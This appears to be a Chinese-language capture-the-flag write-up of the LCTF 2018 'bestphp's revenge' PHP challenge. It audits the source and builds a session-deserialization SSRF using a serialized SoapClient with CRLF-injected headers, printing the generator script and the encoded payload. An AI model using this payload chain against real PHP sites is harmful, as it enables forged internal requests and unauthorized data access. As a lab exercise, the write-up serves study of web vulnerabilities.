进入题目页面如下
进行代码审计
<?php
// 1. 高亮显示当前PHP文件的源代码,方便开发者查看代码内容,在生产环境中不应使用此函数,可能会导致代码泄露。
highlight_file(__FILE__);
// 2. 定义变量 $b ,其值为字符串 'implode' , implode 是PHP的一个内置函数,用于将数组元素连接成一个字符串。
$b = 'implode';
// 3. 通过 call_user_func 函数调用用户通过GET请求传入的函数名( $_GET['f'] ),并将POST请求的数据作为参数传递给该函数。
// call_user_func 函数会尝试调用指定名称的函数,并将后面的参数传递给该函数。
// 这里存在安全风险,因为用户可以通过GET请求传入任意函数名,可能导致任意代码执行。
call_user_func($_GET['f'], $_POST);
// 4. 启动一个新的会话或者恢复已有的会话,用于在多个页面之间存储和共享数据。
session_start();
// 5. 检查是否通过GET请求传入了 'name' 参数。
if (isset($_GET['name'])) {
// 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
$_SESSION['name'] = $_GET['name'];
}
// 6. 使用 var_dump 函数输出会话变量 $_SESSION 的详细信息,包括变量的类型和值。
var_dump($_SESSION);
// 7. 创建一个数组 $a ,数组的第一个元素是 $_SESSION 数组的第一个元素(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018' 。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
// 8. 使用 call_user_func 函数调用 $b 变量所代表的函数(即 implode 函数),将数组 $a 中的元素连接成一个字符串。
// 但这里没有对连接后的字符串进行处理,所以连接后的结果没有被使用。
call_user_func($b, $a);
?>
任意代码执行漏洞
call_user_func($_GET['f'], $_POST);
这行代码允许通过 GET 请求传入任意函数名,并且将 POST 请求的数据作为参数传递给该函数。传入一些危险的函数名,如 system 、 exec 等,就可以执行任意系统命令
或者利用 session 反序列化漏洞
扫描根目录
发现很多文件,查看
flag.php 文件提示,只有 127.0.0.1 请求
这里没思路了,看了大佬的博客才跟着做下去
链接附上,bestphp's revenge[详解] - NPFS - 博客园感谢大佬
用f传参,传入session_start
看到大佬说session是可控的,通过传入name值
序列化
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo "|".urlencode($se);
//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
结果
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
用burp suite抓包,传入
构造,传值f=extract&name=SoapClient
POST:b=call_user_func
SoapClient
是 PHP 中用于创建和管理 SOAP(Simple Object Access Protocol,简单对象访问协议)客户端的类。SOAP 是一种基于 XML 的协议,用于在不同的应用程序之间进行通信,通常用于 Web 服务的交互
SoapClient
类的构造函数有两个参数:
SoapClient::__construct([ string $wsdl [, array $options ]] )
$wsdl
:- 类型:字符串。
- 描述:指定 WSDL(Web Services Description Language,Web 服务描述语言)文件的 URL。WSDL 文件是一个 XML 文件,它描述了 SOAP 服务的接口、方法、参数和返回值等信息。如果设置为
null
,则需要在$options
数组中手动指定服务的位置和命名空间。
$options
:- 类型:数组。
- 描述:用于配置
SoapClient
对象的选项,常见的选项如下:location
:指定 SOAP 服务的实际 URL。uri
:指定 SOAP 服务的命名空间。user_agent
:指定 HTTP 请求头中的User-Agent
字段。login
和password
:用于 HTTP 基本认证的用户名和密码
SoapClient
类的 __doRequest
方法是一个魔术方法
主要用于自定义 SOAP 请求的发送过程
__doRequest
方法允许你拦截并自定义 SoapClient
发送的 SOAP 请求以及处理接收到的响应。当 SoapClient
需要发送一个 SOAP 请求时,它会检查是否定义了 __doRequest
方法,如果定义了,就会调用该方法来完成实际的请求发送和响应接收操作,而不是使用默认的请求机制。这为开发者提供了更大的灵活性,可以对请求和响应进行自定义处理,例如添加额外的 HTTP 头、修改请求数据、记录日志等。
- 自定义请求头:在某些情况下,你可能需要在请求中添加自定义的 HTTP 头信息,如认证信息、自定义标识等。使用
__doRequest
方法可以方便地在请求中添加这些头信息。 - 请求和响应的日志记录:为了调试或监控的目的,你可能需要记录所有发送的请求和接收到的响应。通过
__doRequest
方法,可以在发送请求和接收响应时记录相关信息。 - 修改请求数据:有时候,你可能需要对 SOAP 请求数据进行修改,例如加密请求数据、添加额外的参数等。
__doRequest
方法允许你在发送请求之前对请求数据进行修改。